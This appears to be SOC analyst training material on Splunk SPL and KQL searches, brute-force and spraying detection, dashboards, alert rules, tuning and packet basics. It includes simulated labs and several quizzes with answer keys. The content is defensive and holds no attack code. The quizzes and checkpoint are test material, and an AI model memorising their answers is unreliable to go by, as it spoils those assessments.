The analyst wants failed logons in the last 24 hours by user. They start with `index=wineventlog EventCode=4625 earliest=-24h` and see 1840 events. Adding `| stats count by user | sort - count | head 10` shows the account administrator with 1500 failures. A follow-up `| search user=administrator | stats count by src_ip` identifies one source address, giving the investigation a clear starting point.

KEY TERMS

SPL: Splunk Processing Language.

index: A repository of events searched first to narrow results.

sourcetype: The data format label used for parsing.

earliest/latest: Time range modifiers in a search.

eval: Command that creates or modifies fields with expressions.

REMEMBER

- Start with index, sourcetype and a time range.

- Pipe through table, sort, head, dedup, eval and rex.
- Check result counts and fields before trusting them.

QUICK CHECK

1. What does earliest=-24h do?
 - A) Limits the search to the last 24 hours
 - B) Deletes old data
 - C) Sorts by time
 - D) Sets retention
2. Which command limits output to ten results?
 - A) head 10
 - B) dedup 10
 - C) eval 10
 - D) lookup 10
3. Why include index= in searches?
 - A) It narrows the data scanned and speeds the search
 - B) It encrypts data
 - C) It is a comment
 - D) It rewrites events
4. Boolean operators in SPL must be:
 - A) Uppercase
 - B) Lowercase only
 - C) Quoted
 - D) Numeric

Answers: 1-A 2-A 3-A 4-A

1. It sets the start of the time range.
2. head returns the first N results.
3. Specific indexes reduce the search scope.
4. AND, OR and NOT are uppercase.

Aggregation in SPL and KQL

Aggregation turns many events into counts, rates and trends that reveal patterns such as brute force or beaconing.

stats, top and dedup in SPL

The stats command computes aggregates: count, dc (distinct count), sum, avg, min, max, values and list, optionally by one or more fields. Example: `index=auth action=failure | stats count dc(user) as users by src_ip`. This shows each source with failure count and how many different users it tried, which separates brute force (one user) from spraying (many users). The top command returns the most common values with counts and percentages, and rare returns the least common. dedup removes duplicates and keeps the first event, while sort orders results.

Time-based aggregation with timechart

timechart buckets events by time and produces a series ready for a line or column chart. Example: `index=auth action=failure | timechart span=1h count by src_ip limit=5`. The span sets the bucket size. Related commands are `bin _time span=5m` followed by stats, which gives more control for custom groupings, and streamstats and eventstats for running or overall statistics. Time bucketing is the basis for detecting rate-based activity such as 50 failures in five minutes, as well as for spotting regular beacon intervals.

summarize and bin in KQL

Kusto Query Language (KQL) used in Microsoft Sentinel and Defender uses summarize for aggregation: `SecurityEvent | where EventID == 4625 | summarize Failures = count(), Users = dcount(TargetUserName) by IpAddress`. Use bin() to bucket time: `summarize count() by bin(TimeGenerated, 1h)`. Aggregate functions include count, dcount, sum, avg, min, max, make_set and make_list. The equivalents are stats to summarize, dc to dcount, timechart span=1h to summarize by bin(TimeGenerated, 1h) with render timechart, and top to top N by or take with sort.

Choosing the right aggregation

Pick by the question. How many failures per source? `count by src`. How many distinct accounts did a source try? `distinct count by src`. When did activity peak? `bucket by time`. Which values are unusual? `rare` or a count sorted ascending. For comparison across entities, compute a ratio. Beware of high-cardinality fields such as full URLs, since grouping by them yields huge results. Also remember that stats drops fields you do not carry through, so include everything you need in the by clause or an aggregation like values().

SPL VS KQL

SPL:
`index=auth action=failure | stats count dc(user) as users by src_ip | sort - count`

KQL:
`SecurityEvent | where EventID == 4625
| summarize Failures=count(), Users=dcount(TargetUserName) by IpAddress
| sort by Failures desc`

WORKED EXAMPLE

An analyst needs to separate brute force from spraying. The aggregation shows 203.0.113.50 with 900 failures against 1 user, and 198.51.100.40 with 120 failures against 95 users. The first source is a classic brute force on one account, the second is a spraying pattern. Charting with timechart by hour shows the spray runs at a slow steady rate designed to avoid lockouts.

KEY TERMS

stats: SPL command for aggregate statistics.

dc / dcount: Distinct count in SPL or KQL.

timechart: SPL command that aggregates events into time buckets.

summarize: KQL operator that aggregates rows.

bin: KQL function that rounds a value into buckets, often time.

REMEMBER

- Use stats or summarize with count and distinct count.

- Bucket time with timechart or bin().
- Pick aggregation by the question you ask.

QUICK CHECK

1. Which KQL operator performs aggregation?
 - A) summarize
 - B) project
 - C) extend
 - D) take
2. A source with high failures and one distinct user suggests:
 - A) Brute force
 - B) Password spraying
 - C) Normal use
 - D) DNS failure
3. What is the SPL command to chart counts over time?
 - A) timechart
 - B) table
 - C) rex
 - D) lookup
4. Which KQL function buckets time into hours?
 - A) bin(TimeGenerated, 1h)
 - B) head 1h
 - C) dedup 1h
 - D) span(1h)

Answers: 1-A 2-A 3-A 4-A

1. summarize groups and aggregates.
2. Many attempts against one account is brute force.
3. timechart buckets events by time.
4. bin rounds the timestamp to a bucket.

KQL fundamentals

KQL is used across Microsoft Sentinel, Defender and Azure Data Explorer, so it is essential for cloud-centered SOCs.

Structure and basic operators

A KQL query starts with a table name and pipes through operators. Example: SecurityEvent | where TimeGenerated > ago(24h) | where EventID == 4625 | project TimeGenerated, Account, IPAddress. The where operator filters, project selects columns, extend adds computed columns, sort by orders results, take limits rows and count counts them. String operators include == (case sensitive), =~ (case insensitive), contains, has (faster, matches whole terms), startswith and matches regex. Time is filtered with ago(), for example ago(7d), and between(). KQL is case sensitive for table and column names.

Common security tables

In Sentinel, SecurityEvent holds Windows Security events collected by agents, with columns such as EventID, Account, Computer, LogonType and IPAddress. SigninLogs holds Microsoft Entra ID sign-ins with UserPrincipalName, IPAddress, ResultType (0 means success), AppDisplayName, ConditionalAccessStatus and Location. Others include AuditLogs, AzureActivity, DeviceProcessEvents in Defender, CommonSecurityLog for CEF, and Syslog. Knowing a table's columns lets you query accurately, and the schema browser or | getschema lists them.

Joins and enrichment

The join operator combines tables on a key: SigninLogs | where ResultType != 0 | join kind=inner (AuditLogs | where OperationName == "Add member to role") on \$left.UserPrincipalName == \$right.InitiatedBy. Common kinds are inner, leftouter and leftanti. Put the smaller table on the left side for performance. The in operator works with lists, and lookups of external data use externaldata or watchlists. extend can compute values such as hour = hourofday(TimeGenerated), and if or case create conditional fields. Use let to name values or sub-queries for readability.

Writing efficient, correct queries

Filter by time first, then by selective columns, before expensive operations like join and summarize. Project early to reduce columns. Prefer has over contains for performance. Verify with a count before and after each stage. Remember that SigninLogs ResultType is a string in some versions, so compare accordingly, and that times are UTC. Save common queries as functions or hunting queries, and add comments with //. In Sentinel, analytic rules are KQL queries scheduled to run, so a clean, efficient query is also the foundation of a reliable detection.

KQL QUERY

```
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType != 0
| summarize Failures=count(), Users=dcount(UserPrincipalName) by IPAddress
| where Users > 10
| sort by Failures desc
```

WORKED EXAMPLE

To find spraying, the analyst queries SigninLogs for failures in the last day, summarizes by IPAddress counting distinct users and keeps sources with more than ten users. One address, 203.0.113.50, appears with 4 failures on each of 80 accounts. They then join to successful sign-ins from the same IP to see if any account was breached, finding one success for a user with no MFA registered.

KEY TERMS

where: KQL operator that filters rows.

project: KQL operator that selects columns.

extend: KQL operator that adds computed columns.

SigninLogs: Sentinel table with Microsoft Entra ID sign-in events.

join: KQL operator that combines two tables on a key.

REMEMBER

- Queries are table, then pipes with where, project, extend, summarize.
- Know SecurityEvent and SigninLogs columns.
- Filter time and selective columns first.

QUICK CHECK

1. Which KQL operator selects specific columns?
 - A) project
 - B) where
 - C) summarize
 - D) take
2. In SigninLogs, ResultType 0 means:
 - A) Successful sign-in
 - B) Failed sign-in
 - C) Blocked by policy
 - D) MFA required only
3. Which operator is faster for whole-term matching?
 - A) has
 - B) contains
 - C) matches regex
 - D) extend
4. What function filters to the last 24 hours?
 - A) ago(24h)
 - B) last(24h)
 - C) now(24h)
 - D) since(24h)

Answers: 1-A 2-A 3-A 4-A

1. project chooses output columns.
2. 0 indicates success.
3. has uses the term index.
4. ago() produces a time relative to now.

Dashboards and visualizations

Dashboards make detection health and hunting views visible at a glance, but only if each panel answers a real question.

Choosing panels

Match the chart to the data. Single value tiles show a current count, such as alerts open now. Line or area charts show trends over time, such as failed logons per hour. Bar charts rank categories, such as top source IPs. Tables show details for action, such as new local administrators. Maps show geographic spread but can mislead. Pie charts work only for a few categories. Each panel should answer one question, with a clear title that states it, for example Failed logons by hour, last 24h, and use consistent time ranges.

Thresholds, colors and drilldowns

Add thresholds so that urgent values stand out: for example green below 50 failures per hour, amber 50 to 200 and red above. Use color sparingly and with labels, as color alone is not accessible. Drilldowns let an analyst click a value to open a pre-filled search, such as clicking an IP to see all of its events. Add filters for time range, host and user at the top. Good dashboards support the workflow from overview to detail, reducing the time to pivot from a spike to the underlying events.

Detection health and hunting views

Different audiences need different dashboards. A SOC operations dashboard shows alerts by severity, ageing against SLAs, queue size and top rules. A detection health dashboard shows log source volumes, last event times, parse failures and rule run errors. Hunting views show top failed logons, new admin accounts, rare processes and outbound data volume by host. Executive views show trends, mean times and risk. Build them from saved searches, and keep each limited to what the audience needs, since cluttered dashboards hide the signal.

Maintenance and mobile layout

Dashboards decay as data changes. Review them regularly, remove unused panels, document each search's intent and owner, and test with realistic time ranges since heavy searches slow the system. Use scheduled searches or summary indexes for expensive panels. For mobile or small displays, order panels by importance in a single column, keep text short and avoid wide tables. Control access, because dashboards can reveal sensitive data. A simple, reliable dashboard viewed daily is more useful than a complex one nobody trusts.

PANEL PLAN

```
Panel Chart Query idea
Open alerts by severity Tiles count by severity
Failed logons by hour Line timechart span=1h
Top failed logon sources Bar stats count by src | head 10
New admins (7d) Table EventCode=4732
Outbound GB by host Bar stats sum(bytes_out) by src
```

WORKED EXAMPLE

A manager asks for a dashboard to spot account attacks. The analyst builds three panels: a line chart of failed logons per hour, a bar chart of the top ten source IPs, and a table of accounts added to Administrators in the last seven days. Thresholds turn the line red above 200 failures per hour, and clicking a source IP opens a search of that address. The layout is a single column so it works on a phone.

KEY TERMS

Panel: One visual element on a dashboard that answers a question.

Threshold: A value at which a panel changes color or state.

Drilldown: A click action that opens related detail.

Detection health: Monitoring of data sources and rules rather than threats.

Summary index: Precomputed results used to speed up heavy dashboards.

REMEMBER

- One panel, one question, clear titles.
- Use thresholds and drilldowns to speed pivots.

- Separate operations, health and hunting dashboards.

QUICK CHECK

1. Which chart best shows a trend over time?
 - A) Line chart
 - B) Pie chart
 - C) Map
 - D) Single value
2. What does a drilldown do?
 - A) Opens related detail when clicked
 - B) Deletes the panel
 - C) Encrypts data
 - D) Changes retention
3. Which dashboard monitors log source volumes and parse failures?
 - A) Detection health
 - B) Executive
 - C) Phishing
 - D) Marketing
4. Why avoid relying on color alone?
 - A) Accessibility and clarity
 - B) Color slows searches
 - C) Colors are not supported
 - D) It raises costs

Answers: 1-A 2-A 3-A 4-A

1. Line charts show change over time.
2. It links a summary to detailed events.
3. Health dashboards show data quality.
4. Labels help users who cannot distinguish colors.

Alert rules and correlation

Well designed rules convert detections into actionable alerts without flooding analysts.

Rule types

Threshold rules fire when a count passes a limit in a window, for example 10 failed logons from one source within five minutes. Sequence or multi-stage rules detect ordered events, such as five failures followed by a success, or a new admin followed by a log clear. Anomaly rules compare against a baseline, for example an account downloading ten times its normal volume, using statistics or machine learning. Signature rules match known bad indicators such as a file hash or domain. Each type has a role: thresholds are simple and transparent, sequences are precise, anomalies find the unknown but need tuning.

Rule logic building blocks

A rule includes a data source, filter conditions, a grouping key (such as source IP or user), a time window, a threshold and an action. Scheduling determines how often it runs and how far back it looks, and the lookback should slightly exceed the schedule interval to avoid gaps from latency. Group by the entity that matters, so an alert is per source rather than per event. Add fields to the alert, such as the host, user, count and a link to the search, so that the analyst can start triage immediately without reconstructing the logic.

Suppression, throttling and severity

Throttling or suppression prevents repeated alerts for the same entity during a period, for example one alert per source every 15 minutes, which avoids a flood from one ongoing attack while keeping the case visible. Severity should reflect confidence and impact: a failed logon burst on a test host is low, the same on a domain controller is higher, and a success after the burst is high. Map rules to ATT&CK techniques and to playbooks so that analysts know the expected response. Document the rule's purpose, data needs, known false positives and an owner.

Testing and deployment

Test each rule against historical data to see how many alerts it would have produced, and against known attack simulations to confirm that it fires. Estimate analyst workload: a rule that alerts 200 times a day will be ignored. Deploy first in a monitor-only or low severity mode, review results for a week, then promote. Version rules, record changes and re-test after log format updates. Monitor rule execution for errors, as a rule that fails to run is a silent gap in detection coverage.

RULE DEFINITION

```
name: Brute force, then success
source: auth logs
window: 5m group_by: src_ip
logic: failures >= 10 THEN success same src_ip
throttle: 15m per src_ip
severity: high attack: T1110
playbook: PB-AUTH-01
```

WORKED EXAMPLE

A rule fires when one source has 10 failed logons within 5 minutes. During testing against last month's data it creates 600 alerts, mostly from a vulnerability scanner at 192.0.2.99. The engineer adds a 15 minute throttle per source, raises the threshold on service accounts and builds a second high-severity rule: 10 failures followed by a success from the same source. Alert volume falls to 14 a week with every true attack still caught.

KEY TERMS

Threshold rule: A rule that fires when a count passes a limit within a time window.

Sequence rule: A rule that detects an ordered series of events.

Throttling: Limiting repeat alerts for the same entity for a period.

Lookback: How far back a scheduled rule searches each run.

Anomaly rule: A rule that flags deviation from a baseline.

REMEMBER

- Use threshold, sequence, anomaly and signature rules where each fits.
- Group by entity and set sensible windows.
- Throttle, map severity and test before deployment.

QUICK CHECK

1. What does throttling do?
 - A) Limits repeated alerts for the same entity
 - B) Deletes events
 - C) Raises severity
 - D) Encrypts alerts
2. Which rule best detects 10 failures then a success from one IP?
 - A) Sequence rule
 - B) Signature on a hash
 - C) Dashboard panel
 - D) Retention policy
3. Why should lookback slightly exceed the schedule interval?
 - A) To avoid gaps from latency
 - B) To raise costs
 - C) To hide alerts
 - D) To delete data
4. Before promoting a new rule you should:
 - A) Test on historical data and estimate volume
 - B) Disable logging
 - C) Skip review
 - D) Set severity to critical

Answers: 1-A 2-A 3-A 4-A

1. It prevents floods from one ongoing activity.
2. An ordered pattern needs a sequence rule.
3. Late events could otherwise fall between runs.
4. Testing prevents noisy or broken rules reaching production.

Tuning false positives

Tuning keeps analysts focused: it removes noise while protecting the ability to catch real attacks.

Measure before changing

Tuning starts with data. For each rule, record alert count, true positive rate, false positive rate, closure reasons and time spent. Identify the top noisy rules, since a few rules often create most of the alerts. Within a rule, group alerts by source, user, host and other fields to find the cause. For example, if 90 percent of alerts come from one address that belongs to the vulnerability scanner, that is a clear tuning target. Without measurement, changes are guesses that can hide real threats.

Allowlists and baselines

An allowlist or exclusion removes known benign activity: a scanner address, a backup account, or a signed management tool. Make exclusions narrow, such as the scanner address plus the specific rule, not a broad rule off switch. Record the owner, reason, date and an expiry or review date. Baselines describe normal behavior, for example the usual hours and hosts for an admin, and let a rule compare current activity against them. Where an attacker could imitate the excluded item, for instance by spoofing a user agent, combine multiple attributes in the exclusion.

Adjusting logic

Other options are raising a threshold, lengthening or shortening the time window, adding conditions such as parent process or destination, requiring a sequence, or lowering severity for low-risk assets while raising it for critical ones. Enrich the alert with context so that analysts can decide faster. Sometimes the right choice is to move a noisy rule to a dashboard or hunting query instead of an alert. Test every change against historical data to confirm that the known true positives still fire.

Governance and review

Tuning needs process. Use change control with review by another engineer, track exclusions in version control, and re-review them periodically because environments change. Watch for a drift where exclusions accumulate until the rule is useless. Keep a set of regression test cases that represent real attacks and run it after each tuning change. Share results with analysts, since they can explain why alerts were noisy. The goal is high precision and high recall together, and each tuning decision should be explainable to an auditor.

ALERT REVIEW (50 ALERTS)

```
Group by src_ip:
192.0.2.99 (vuln scanner) 45 alerts 90%
203.0.113.50 3 alerts
198.51.100.4 2 alerts

Proposed exclusion: src_ip=192.0.2.99 AND rule=AUTH-014
Review date: +90 days Owner: detection-eng
```

WORKED EXAMPLE

The analyst reviews 50 alerts from a rule and finds 45 come from 192.0.2.99, the documented vulnerability scanner. They propose excluding that address for this rule only, with the owner and a 90 day review date. Before applying, they replay last month's data and confirm that the three real brute force alerts from 203.0.113.50 and 198.51.100.4 still fire, while volume drops by about 90 percent.

KEY TERMS

Allowlist: A list of known benign entities excluded from a rule.

Baseline: A model of normal behavior used for comparison.

Precision: The share of alerts that are true positives.

Recall: The share of real attacks that the rule detects.

Regression test: A test confirming known true positives still fire after a change.

REMEMBER

- Measure first, then tune narrowly.

- Document exclusions with owner and review date.
- Test against known true positives after each change.

QUICK CHECK

1. What is the best first step in tuning?
 - A) Measure alert sources and outcomes
 - B) Disable the rule
 - C) Raise severity
 - D) Delete logs
2. Which exclusion is safest?
 - A) Scanner IP for one rule with an owner and review date
 - B) All alerts from the 192.0.2.0/24 range
 - C) Turning the rule off
 - D) Excluding all admins from every rule
3. After tuning, what should you verify?
 - A) Known true positives still fire
 - B) The dashboard colors
 - C) Disk space only
 - D) Nothing
4. What is recall?
 - A) Share of real attacks detected
 - B) Share of alerts that are false
 - C) Number of rules
 - D) Alert speed

Answers: 1-A 2-A 3-A 4-A

1. Data shows where the noise originates.
2. Narrow, documented, time-limited exclusions limit risk.
3. Tuning must not remove real detections.
4. High recall means few missed attacks.

Search failed logons in SPL

SCENARIO

The Splunk-like console holds Windows Security events in index=wineventlog for fictional domain EXAMPLE. You need failed logons per user over the last 24 hours, sorted by count.

OBJECTIVE

Write an SPL query that returns failed logons per user for 24 hours sorted descending.

STEPS IN THE SIMULATOR

- 1 Do:** Type: index=wineventlog EventCode=4625
Simulator shows:
Time range: all time. 18,402 events (slow)

- 2 Do:** Add earliest=-24h
Simulator shows:
1,840 events in 24 hours

- 3 Do:** Append: | stats count by user
Simulator shows:
user=administrator count=1500; jsmith count=210; svc-print count=130

- 4 Do:** Append: | sort - count
Simulator shows:
Sorted descending: administrator first

- 5 Do:** Append: | head 10
Simulator shows:
3 rows shown (fewer than 10 users)

- 6 Do:** Click Check query
Simulator shows:
Accepted: filter, time range, stats and sort present

ANSWER

The final query is index=wineventlog EventCode=4625 earliest=-24h | stats count by user | sort - count | head 10. The top result is administrator with 1500 failures, a likely brute force target.

Hint shown in the app: Add the time range before the first pipe.

Translate SPL to KQL

SCENARIO

You are given the SPL search: `index=auth action=failure | stats count dc(user) as users by src_ip | sort - count`. Convert it to KQL for the Sentinel table SigninLogs, where failure means `ResultType != 0`.

OBJECTIVE

Write the equivalent KQL summarize query.

STEPS IN THE SIMULATOR

- 1 **Do:** Type table name: SigninLogs

Simulator shows:

Editor: table recognized

- 2 **Do:** Add filter: `| where ResultType != 0`

Simulator shows:

Rows filtered to failures

- 3 **Do:** Add: `| summarize Failures=count(), Users=dcount(UserPrincipalName) by IPAddress`

Simulator shows:

Columns: IPAddress, Failures, Users

- 4 **Do:** Add: `| sort by Failures desc`

Simulator shows:

Sorted descending

- 5 **Do:** Click Run on sample data

Simulator shows:

203.0.113.50: 900 failures, 1 user

198.51.100.40: 120 failures, 95 users

- 6 **Do:** Click Check

Simulator shows:

Accepted: equivalent to the SPL query

ANSWER

The KQL is `SigninLogs | where ResultType != 0 | summarize Failures=count(), Users=dcount(UserPrincipalName) by IPAddress | sort by Failures desc`. It maps stats to summarize and dc to dcount.

Hint shown in the app: stats maps to summarize and dc maps to dcount.

Fix the broken parser

SCENARIO

A new Linux source sends SSH logs, but the search returns no results for src_ip and user because the field extraction does not match. A sample line is: Mar 14 09:21:07 web01 sshd[812]: Failed password for invalid user admin from 203.0.113.9 port 40122 ssh2.

OBJECTIVE

Correct the extraction so src_ip and user populate.

STEPS IN THE SIMULATOR

- 1 **Do:** Open props.conf and read EXTRACT-failed

Simulator shows:

EXTRACT-failed = Failed login for (?<user>\S+) from (?<src_ip>\S+) port

- 2 **Do:** Run test search: sourcetype=linux_auth | table user src_ip

Simulator shows:

Rows returned, user and src_ip are empty

- 3 **Do:** Compare with the sample line

Simulator shows:

Pattern says 'Failed login' but the log says 'Failed password'

- 4 **Do:** Edit to: Failed password for (?:invalid user)?(?<user>\S+) from (?<src_ip>\S+) port

Simulator shows:

Saved, configuration reloaded

- 5 **Do:** Re-run the test search

Simulator shows:

user=admin src_ip=203.0.113.9 (and 211 more rows)

- 6 **Do:** Click Verify

Simulator shows:

Accepted: fields populated for valid and invalid user lines

ANSWER

The text in the regex did not match the actual log message. The fix is EXTRACT-failed = Failed password for (?:invalid user)?(?<user>\S+) from (?<src_ip>\S+) port, which handles both valid and invalid usernames.

Hint shown in the app: Compare the regex word for word with a raw event.

Build a detection dashboard

SCENARIO

You must design a small mobile-friendly dashboard with three panels for a SOC: top failed logons, new administrators and outbound volume. The builder offers panel types and a single column phone layout.

OBJECTIVE

Arrange the three panels with suitable chart types and thresholds for a mobile layout.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag a panel to slot 1 and choose Bar chart

Simulator shows:

Panel 1 added: bar chart

- 2 **Do:** Set panel 1 search to top failed logons by user and set title

Simulator shows:

Title: Top failed logons by user, 24h

- 3 **Do:** Drag a panel to slot 2 and choose Table

Simulator shows:

Panel 2 added: table

- 4 **Do:** Set panel 2 to EventCode=4732 group Administrators, 7d

Simulator shows:

Title: New administrators, 7 days

- 5 **Do:** Drag a panel to slot 3 and choose Line chart

Simulator shows:

Panel 3 added: line chart

- 6 **Do:** Set panel 3 to outbound bytes per hour, threshold red at 5 GB

Simulator shows:

Title: Outbound volume per hour; threshold red above 5 GB

- 7 **Do:** Switch to Mobile preview and click Check

Simulator shows:

Accepted: single column, titles clear, thresholds set

ANSWER

Use a bar chart for top failed logons, a table for new administrators and a line chart with a red threshold for outbound volume. In the mobile layout the panels are stacked in a single column in order of urgency.

Hint shown in the app: Match each question to a chart type, then order by urgency.

Create a threshold alert

SCENARIO

In the SIEM rule editor you must configure a rule firing when a source IP records 10 or more failed logons in 5 minutes, with a 15 minute throttle. The data source is authentication events.

OBJECTIVE

Create the rule with correct window, threshold, grouping and throttle.

STEPS IN THE SIMULATOR

- 1 **Do:** Set data source to authentication, action=failure

Simulator shows:

Source set: 1,840 events in last 24h

- 2 **Do:** Set group by to src_ip

Simulator shows:

Group key: src_ip

- 3 **Do:** Set threshold: count >= 10

Simulator shows:

Threshold saved

- 4 **Do:** Set time window to 5 minutes and schedule every 5 minutes

Simulator shows:

Window 5m, lookback 6m recommended

- 5 **Do:** Set throttle: 15 minutes per src_ip

Simulator shows:

Throttle saved

- 6 **Do:** Set severity medium and map to T1110

Simulator shows:

Severity medium, ATT&CK T1110 added

- 7 **Do:** Click Test against last 7 days

Simulator shows:

Would have fired 6 times: 203.0.113.50 (3), 198.51.100.4 (3)

ANSWER

The rule groups by src_ip, uses count >= 10 in a 5 minute window, runs every 5 minutes with a slightly longer lookback, throttles for 15 minutes per source and maps to T1110. The test shows 6 plausible alerts.

Hint shown in the app: Group by source and set the throttle per source, not globally.

Tune a noisy rule

SCENARIO

A rule produced 50 alerts last week. You need to find the cause of most of the noise and add a safe exclusion without losing true positives.

OBJECTIVE

Identify the scanner source causing 90 percent of alerts and add a narrow exclusion.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the rule's alert list

Simulator shows:

50 alerts, 3 true positives, 47 false positives

- 2 **Do:** Group by src_ip

Simulator shows:

192.0.2.99: 45; 203.0.113.50: 3; 198.51.100.4: 2

- 3 **Do:** Look up 192.0.2.99 in the asset inventory

Simulator shows:

Owner: vuln-mgmt, type: authenticated vulnerability scanner

- 4 **Do:** Add exclusion src_ip=192.0.2.99 for this rule only, with owner and 90 day review

Simulator shows:

Exclusion saved with metadata

- 5 **Do:** Replay last 30 days

Simulator shows:

Alerts: 6 (was 50). True positives retained: 3 of 3

- 6 **Do:** Click Submit

Simulator shows:

Accepted: narrow exclusion, true positives preserved

ANSWER

The scanner at 192.0.2.99 causes 45 of 50 alerts (90 percent). A rule-specific exclusion with an owner and review date removes the noise while the three real alerts still fire.

Hint shown in the app: Exclude the one address for the one rule, and replay to confirm.

SIEM Fundamentals: 10 questions, 80% to pass

1. Which component stores and indexes events?
 - A) Indexer
 - B) Dashboard
 - C) Playbook
 - D) Phish report
2. Which storage tier holds recent, quickly searchable data?
 - A) Hot
 - B) Cold
 - C) Frozen
 - D) Archive
3. Why normalize logs to a schema such as ECS?
 - A) One query works across sources
 - B) To delete raw data
 - C) To increase license usage
 - D) To disable parsing
4. Which SPL command aggregates counts by a field?
 - A) stats
 - B) table
 - C) head
 - D) rex
5. Which KQL operator aggregates rows?
 - A) summarize
 - B) project
 - C) take
 - D) where
6. A source with many failures against many users suggests:
 - A) Password spraying
 - B) Brute force on one account
 - C) Normal use
 - D) Disk failure
7. In SigninLogs, which ResultType indicates success?
 - A) 0
 - B) 50126
 - C) 1
 - D) 500
8. What does throttling an alert do?
 - A) Limits repeated alerts for the same entity
 - B) Raises severity
 - C) Deletes the rule
 - D) Hides the data source
9. Which is the safest tuning exclusion?
 - A) One scanner IP for one rule with an owner and review date
 - B) All traffic from an entire /16
 - C) Disabling the rule
 - D) Excluding every admin
10. After tuning a rule, you should confirm that:
 - A) Known true positives still fire
 - B) Dashboards are blue
 - C) Retention is shorter
 - D) Logging is off

Answers: 1-A 2-A 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. Indexers store and index data.
2. Hot is fast and recent.
3. Standard names make queries reusable.
4. stats computes aggregates.
5. summarize aggregates.
6. Spraying hits many accounts.
7. ResultType 0 is a successful sign-in.
8. It avoids floods from one continuing activity.
9. Narrow, documented, reviewed exclusions are safest.
10. Tuning should not reduce true detections.

Network Traffic Analysis

Intermediate | 8 lessons | 6 simulated labs | checkpoint | about 6h 30m

Network Traffic Analysis teaches you to read what actually crossed the wire. You will learn packet headers and TCP flags, a repeatable Wireshark workflow, and a triage method for large captures. You then examine DNS, HTTP and SMB for abuse such as tunneling, command and control, and lateral movement, and move from single packets to Zeek logs, Suricata alerts and flow statistics for beaconing and exfiltration. Network evidence is hard for an attacker to erase, so this skill underpins investigations.

BY THE END YOU CAN

- + Read packet headers and follow TCP streams in Wireshark
- + Triage a PCAP for DNS, HTTP and SMB abuse
- + Recognize beaconing and exfiltration with Zeek and Suricata output

IN THIS MODULE

Lesson 1 Packet and protocol basics

Lesson 2 Wireshark workflow

Lesson 3 PCAP triage method

Lesson 4 DNS analysis

Lesson 5 HTTP analysis

Lesson 6 SMB and lateral movement traffic

Lesson 7 Zeek logs and Suricata alerts

Lesson 8 Beaconing and exfiltration patterns

Lab 1 Filter a capture (Packet viewer)

Lab 2 Follow the TCP stream (Packet viewer)

Lab 3 Find the DNS tunnel (Packet viewer)

Lab 4 Spot SMB lateral movement (Packet viewer)

Lab 5 Pivot through Zeek logs (Log viewer)

Lab 6 Detect beaconing (Scenario)

Checkpoint 10 questions, 80% to pass

Packet and protocol basics

Every network investigation rests on reading packets correctly. If you cannot tell a SYN from a RST, or a source port from a destination port, you will misread what a host was doing.

Layers and encapsulation

Network data is wrapped in layers. An Ethernet frame carries source and destination MAC addresses and an EtherType (0x0800 for IPv4, 0x86DD for IPv6). Inside it sits the IP header with source and destination addresses, a TTL, and a protocol number (6 for TCP, 17 for UDP, 1 for ICMP). Inside that sits the TCP or UDP header with ports, and finally the application payload such as HTTP or DNS. Analysts read from the outside in: who talked to whom, over which transport, on which port, and only then what was said. MAC addresses only matter on the local segment; routers rewrite them at every hop, while IP addresses stay end to end.

TCP and UDP headers

TCP is connection oriented. Its header holds source and destination ports, a 32-bit sequence number, an acknowledgment number, a window size and a set of flags: SYN, ACK, FIN, RST, PSH and URG. UDP is far simpler: ports, length and checksum, with no handshake and no delivery guarantee. DNS, DHCP, NTP and many streaming protocols use UDP. Well-known server ports include 22 SSH, 53 DNS, 80 HTTP, 443 HTTPS, 445 SMB and 3389 RDP. The client usually picks a high ephemeral port (49152-65535 by IANA convention), so the lower port in a pair is normally the service.

The three-way handshake and teardown

A TCP session opens with SYN from the client, SYN-ACK from the server, then ACK from the client. A normal close uses FIN and ACK in each direction. A RST aborts the connection immediately. These flags tell stories. Many SYN packets with no completing ACK suggest a scan or SYN flood. A SYN answered by RST means the port is closed. A SYN with no reply at all points to filtering by a firewall or a dead host. Sequence numbers let Wireshark reassemble out-of-order segments into a clean stream, which is why following a stream works at all.

Putting it to use

When you open a capture, resist the urge to read packet by packet. First note timestamps, the pair of addresses, the ports and the flags. A client at 192.0.2.10 using port 50514 to reach 198.51.100.20 on port 443 is almost certainly HTTPS, and you will see only encrypted payload, so metadata such as the TLS handshake, packet sizes and timing becomes your evidence. If the same client uses port 53 over TCP, ask why: large zone transfers and some tunneling tools use it. Knowing the normal shape of each protocol is what makes the abnormal stand out.

PACKET HEADER (ANNOTATED)

```
Ethernet: 00:00:5e:00:53:01 -> 00:00:5e:00:53:02 type 0x0800
IPv4: 192.0.2.10 -> 198.51.100.20 ttl 64 proto 6 (TCP)
TCP: 50514 -> 443 seq 0 flags [SYN] win 64240
TCP: 443 -> 50514 seq 0 ack 1 flags [SYN,ACK]
TCP: 50514 -> 443 seq 1 ack 1 flags [ACK]
```

WORKED EXAMPLE

A capture shows host 192.0.2.10 sending 400 SYN packets to 198.51.100.20 on different destination ports within three seconds. Most are answered by RST,ACK, a few by SYN-ACK. Reading the flags, the analyst concludes this is a port scan: the RSTs mark closed ports and the SYN-ACKs mark open ones. The source never completes the handshake with ACK on the open ports, which is typical of a half-open SYN scan. The analyst lists the open ports and checks whether the scanner was an approved vulnerability scanner.

KEY TERMS

Encapsulation: Wrapping data in successive headers as it moves down the protocol stack.

Ephemeral port: A temporary high source port chosen by a client for one connection.

SYN: The TCP flag used to start a connection and synchronize sequence numbers.

RST: A TCP flag that abruptly resets and ends a connection.

TTL: An IP field that limits how many hops a packet may travel.

REMEMBER

- Read captures outside-in: MAC, IP, transport, then payload.
- TCP flags SYN, ACK, FIN and RST describe the life of a connection.
- Port numbers and the handshake outcome reveal scans, filtering and services.

QUICK CHECK

1. Which pair of flags does a server send in reply to a SYN on an open port?
 - A) ACK only
 - B) SYN-ACK
 - C) FIN-ACK
 - D) RST-ACK
2. A SYN sent to a closed port typically draws which response?
 - A) SYN-ACK
 - B) No response ever
 - C) RST
 - D) FIN
3. Which IP protocol number identifies UDP?
 - A) 1
 - B) 6
 - C) 17
 - D) 47
4. In a pair of ports 50514 and 443, which is most likely the service?
 - A) 50514
 - B) 443
 - C) Neither
 - D) Both

Answers: 1-B 2-C 3-C 4-B

1. An open port answers a SYN with SYN and ACK set to continue the handshake.
2. Closed ports on a reachable host normally reply with RST.
3. Protocol 17 is UDP; 6 is TCP and 1 is ICMP.
